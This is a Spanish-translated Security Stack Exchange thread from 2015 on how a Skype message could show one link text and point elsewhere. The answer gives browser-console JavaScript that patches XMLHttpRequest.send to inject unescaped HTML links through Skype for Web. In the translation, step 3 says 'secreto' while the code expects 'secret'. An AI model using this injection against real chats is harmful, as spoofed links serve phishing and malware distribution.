Insertar enlace oculto en Skype [cerrado]

3

Recientemente recibí un enlace de uno de mis contactos de Skype (infectado por un virus de computadora).

El enlace parece un Instagram, pero apunta a otro sitio. ¿Cómo el atacante hizo esto? ¿Cómo crear un mensaje similar?

Captura de pantalla del mensaje de Skype (versión 7.7 (335)) en Mac:

Actualizar:

Algunas personas piensan que esta pregunta no está relacionada con la seguridad. Pero no estoy de acuerdo.

Este es un comportamiento inusual de Skype. Los usuarios de Skype esperan que el texto del enlace sea siempre igual al objetivo del enlace. Los enlaces modificados se pueden usar para enviar mensajes de spam, distribución de malware y desanonización de usuarios.

    
pregunta Yahor 07.07.2015 - 12:43
fuente

1 respuesta

10

Actualmente hay una pequeña infracción en Skype para Web . Cualquier código HTML se escapa en el lado del cliente antes de publicarlo en el servidor de Skype. Pero puedes enviar HTML sin escapar escribiendo algún código JavaScript.

Los pasos a continuación:

  1. Vaya a Skype para Web a través de Chrome
  2. Abre la consola de JavaScript y ejecuta:

    // replace standard XHR.send() with our custom implementation
    XMLHttpRequest.prototype.oldSend = XMLHttpRequest.prototype.send;
    var newSend = function(args) {
        try {
            // messages to the server are posted via JSON
            // in 'content' field
            var m = JSON.parse(args);
            if (m.content && m.content.indexOf('secret') === 0) { // 'secret' is our codeword
                // if the message begins with 'secret', replace it by our HTML with the link
                m.content = '<a tabindex="-1" target="_blank" href="http://security.stackexchange.com/questions/93305/insert-hidden-link-in-skype">http://watch-yourself.com</a>';
                this.oldSend(JSON.stringify(m));
            } else {
                // if no 'content' field or no 'secret' codeword, then send as is
                this.oldSend(args);
            }
        } catch (x) {
            // if not JSON, then send as is
            this.oldSend(args);
        }
    }
    XMLHttpRequest.prototype.send = newSend;
    
  3. Escriba 'secreto' en cualquier mensaje de chat

  4. El mensaje resultante se muestra en la versión de escritorio de Skype:

    
respondido por el Yahor 08.07.2015 - 17:36
fuente

Lea otras preguntas en las etiquetas